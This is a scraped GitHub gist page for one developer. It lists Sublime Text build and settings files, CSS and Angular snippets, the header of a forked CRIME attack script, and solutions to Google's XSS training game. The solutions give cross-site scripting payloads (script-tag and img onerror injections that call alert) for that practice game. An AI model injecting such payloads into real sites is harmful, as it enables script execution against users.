Skip to content

Instantly share code, notes, and snippets.

View nirlanka's full-sized avatar

Nir Lanka nirlanka

  • SGX
  • Singapore
View GitHub Profile
@nirlanka
nirlanka / sweetjs-nir.sublime-build
Created July 7, 2015 05:06
Sweet.js building with pre-written macros organized as modules for SublimeText 3
{
// dir:macros --> multiple macro-name.sjs
// create macros dir if not already in existence
// create empty sjs
// concatenate all macros to one macro file
// apply the macros and
// run resulting js
// note: each module must be exported with `export myMacro;` in it's file
"shell_cmd": "mkdir -p macros; touch ./macros/empty.sjs; cat ./macros/*.sjs > ./macros.sjs; sjs $file --module ./macros.sjs > \\$(basename $file .sjs).js; node \\$(basename $file .sjs).js",
"selector": ["source.sjs", "source.js"]
@nirlanka
nirlanka / Package Control.sublime-settings
Last active November 10, 2015 08:40
sublime-text packages
{
"bootstrapped": true,
"in_process_packages":
[
],
"installed_packages":
[
"4GL",
"AngularInject",
"AngularJS",
@nirlanka
nirlanka / Preferences.sublime-settings
Created November 10, 2015 08:40
sublime-text preferences
{
"bold_folder_labels": true,
"caret_style": "phase",
"color_scheme": "Packages/Color Scheme - Default/Monokai Bright.tmTheme",
"fade_fold_buttons": false,
"font_face": "hanthana",
"font_size": 9,
"highlight_line": true,
"highlight_modified_tabs": true,
"ignored_packages":
@nirlanka
nirlanka / crime.py
Last active December 20, 2015 07:59 — forked from koto/crime.py
It's not a crime to build a CRIME
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
import string
import zlib
import sys
import random
charset = string.letters + string.digits + "%/+="
@nirlanka
nirlanka / five.ps
Last active June 2, 2017 12:37
Cooler PowerShell Prompt (code for blog article)
Clear-Host
@nirlanka
nirlanka / sidemenu.css
Created September 13, 2017 09:35
Side-menu bar with sub-menu on hover (for a side-menu with only a few items)
#xx-submenu {
display: none;
}
#xx-submenu-trigger:hover + #xx-submenu,
#xx-submenu:hover {
display: block;
position: fixed;
left: 50px;
/* NOTE: don't set a top value */
@nirlanka
nirlanka / solutions.md
Last active November 28, 2017 15:58
Solutions to XSS Games by Google (xss-games.appspot.com)

Level 1: Hello, world of XSS

query=<script>alert(9)</script>

Level 2: Persistence is key

post-content=<img src='foobar' onerror='alert(9)'>

Level 3: That sinking feeling...

URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert(9)'&gt;

<form #f="ngForm" (ngSubmit)="onSubmit()">
<input type="text" [(ngModel)]="user.name" required>
<input type="text" [(ngModel)]="user.email" required>
<button type="submit"
[disabled]="!f.valid">Submit!</button>
</form>
<form [formGroup]="addFriendForm" (ngSubmit)="onSubmit()">
<input type="text" formControlName="name">
<input type="text" formControlName="email">
<button type="submit"
[disabled]="!f.valid">Submit!</button>
</form>
// Component
public addFriendForm: FormGroup;
constructor(formBuilder: FormBuilder) {